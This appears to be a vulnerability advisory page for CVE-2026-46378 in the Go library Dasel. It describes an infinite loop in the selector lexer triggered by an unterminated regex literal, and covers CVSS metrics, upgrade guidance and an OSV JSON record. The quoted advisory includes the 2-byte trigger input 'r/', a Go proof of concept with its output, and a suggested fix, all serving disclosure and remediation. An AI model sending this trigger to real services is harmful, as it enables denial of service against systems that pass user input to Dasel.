CVE-2026-46378: Dasel Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-m6xr-fvfg-5g64
CVSS 7.5
CWE-835
Published
Advisory Summary

CVE-2026-46378 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Dasel libraries in the Go ecosystem. The issue involves denial of service in dasel selector lexer due to infinite loop on unterminated regex literal. Remediation is available by upgrading affected packages to version 3.10.1.

CVE-2026-46378 at a Glance

CVE Identifier CVE-2026-46378
GHSA Identifier GHSA-m6xr-fvfg-5g64
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Dasel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-46378

To remediate this vulnerability, upgrade all affected Dasel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/tomwright/dasel/v3 fixed: 3.10.1
Upgrade github.com/tomwright/dasel/v3 to 3.10.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/tomwright/dasel/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46378, inspect your project dependencies for Dasel:

inspect dependencies for github.com/tomwright/dasel/v3

Analyze the terminal output to locate any version of Dasel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Dasel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely. I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet. ### Details The bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247): ```go matchRegexPattern := func(pos int) *Token { if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') { return nil } start := pos pos += 2 for !p.peekRuneEqual(pos, '/') { // line 243 pos++ } pos++ return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)) } ``` When no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos >= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns. Notably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check. Minimal trigger: `r/` (2 bytes) Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) ### PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/selector/lexer" ) func main() { fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() for _, input := range []string{"r/unterminated", "r/"} { fmt.Printf("Input: %s\n", input) done := make(chan string, 1) go func() { t := lexer.NewTokenizer(input) start := time.Now() tokens, err := t.Tokenize() elapsed := time.Since(start) if err != nil { done <- fmt.Sprintf("Error after %v: %v", elapsed, err) } else { done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens)) } }() select { case result := <-done: fmt.Println(result) case <-time.After(5 * time.Second): fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop") } fmt.Println() } } ``` Observed output on `v3.3.1` in the test environment above: ```text Go version: go1.26.1 GOARCH: arm64 Input: r/unterminated CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop Input: r/ CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop ``` ### Impact An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated. The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters ### Suggested Fix The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example: ```go matchRegexPattern := func(pos int) (*Token, error) { if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') { return nil, nil } start := pos pos += 2 for pos < p.srcLen && p.src[pos] != '/' { pos++ } if pos >= p.srcLen { return nil, &UnexpectedEOFError{Pos: pos} } pos++ return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil } ```

CVE-2026-46378 Affected Dasel Versions

1 component(s)
Fixed Versions:
3.10.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/tomwright/dasel/v3
Go
≥ 3.0.0
< 3.10.1
3.10.1

References

Frequently Asked Questions

What is CVE-2026-46378?
CVE-2026-46378 is a security vulnerability in Dasel involving Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Dasel versions are affected?
Affected versions include releases prior to 3.10.1 across affected packages: github.com/tomwright/dasel/v3.
What version fixes CVE-2026-46378?
Upgrading to 3.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/tomwright/dasel/v3 affected?
Yes, github.com/tomwright/dasel/v3 is affected in releases prior to 3.10.1. Upgrade your dependency to 3.10.1 or later.
What is the CVSS score of CVE-2026-46378?
CVE-2026-46378 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-46378?
CVE-2026-46378 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check Go dependencies for CVE-2026-46378?
Run the dependency tree command: 'inspect dependencies for github.com/tomwright/dasel/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m6xr-fvfg-5g64",
  "modified" : "2026-05-19T20:09:21Z",
  "published" : "2026-05-19T20:09:20Z",
  "aliases" : [ "CVE-2026-46378" ],
  "summary" : "Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal",
  "details" : "### Summary\n\n`dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247):\n\n```go\nmatchRegexPattern := func(pos int) *Token {\n    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {\n        return nil\n    }\n    start := pos\n    pos += 2\n    for !p.peekRuneEqual(pos, '/') {  // line 243\n        pos++\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))\n}\n```\n\nWhen no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos >= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check.\n\nMinimal trigger: `r/` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{\"r/unterminated\", \"r/\"} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tdone := make(chan string, 1)\n\t\tgo func() {\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\tstart := time.Now()\n\t\t\ttokens, err := t.Tokenize()\n\t\t\telapsed := time.Since(start)\n\t\t\tif err != nil {\n\t\t\t\tdone <- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t\t} else {\n\t\t\t\tdone <- fmt.Sprintf(\"OK after %v: %d tokens\", elapsed, len(tokens))\n\t\t\t}\n\t\t}()\n\n\t\tselect {\n\t\tcase result := <-done:\n\t\t\tfmt.Println(result)\n\t\tcase <-time.After(5 * time.Second):\n\t\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\")\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: r/unterminated\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n\nInput: r/\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nThe regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example:\n\n```go\nmatchRegexPattern := func(pos int) (*Token, error) {\n    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {\n        return nil, nil\n    }\n    start := pos\n    pos += 2\n    for pos < p.srcLen && p.src[pos] != '/' {\n        pos++\n    }\n    if pos >= p.srcLen {\n        return nil, &UnexpectedEOFError{Pos: pos}\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tomwright/dasel/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.10.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/TomWright/dasel"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T20:09:20Z",
    "nvd_published_at" : null
  }
}